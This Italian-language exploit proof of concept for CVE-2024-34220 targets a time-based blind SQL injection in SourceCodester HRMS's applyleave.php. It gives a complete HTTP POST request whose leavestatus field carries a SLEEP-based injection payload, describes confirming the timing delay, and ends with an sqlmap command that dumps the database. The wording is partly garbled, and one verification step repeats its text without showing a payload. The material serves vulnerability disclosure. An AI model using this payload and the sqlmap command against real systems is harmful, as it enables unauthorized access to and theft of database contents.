
Exploit proof-of-concept per CVE-2024-34220, una vulnerabilità SQL injection cieca basata sul tempo in SourceCodester HRMS applyleave.php, con automazione sqlmap per l'estrazione del database.
applyleave.php
SQL Injection
Gli attaccanti possono sfruttare questa vulnerabilità per ottenere privilegi sul database, il che può portare a una grande quantità di dati nel database. Se il database dell'altra parte ha privilegi DBA, potrebbe portare all'ottenimento di privilegi sull'host del server.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
Dopo l'esecuzione di questo Payload, il tempo di ritorno dei dati è ritardato di 5 secondi, indicando che potremmo aver eseguito con successo "sleep(5)". In questo caso, il ritardo potrebbe essere multiplo. Lo verificheremo di seguito:

Dopo l'esecuzione di questo Payload, il tempo di ritorno dei dati è ritardato di 20 secondi, indicando che potremmo aver eseguito con successo "sleep(20)". In questo caso, il ritardo potrebbe essere multiplo. Lo verificheremo di seguito:

sqlmap -r <item request> --dump
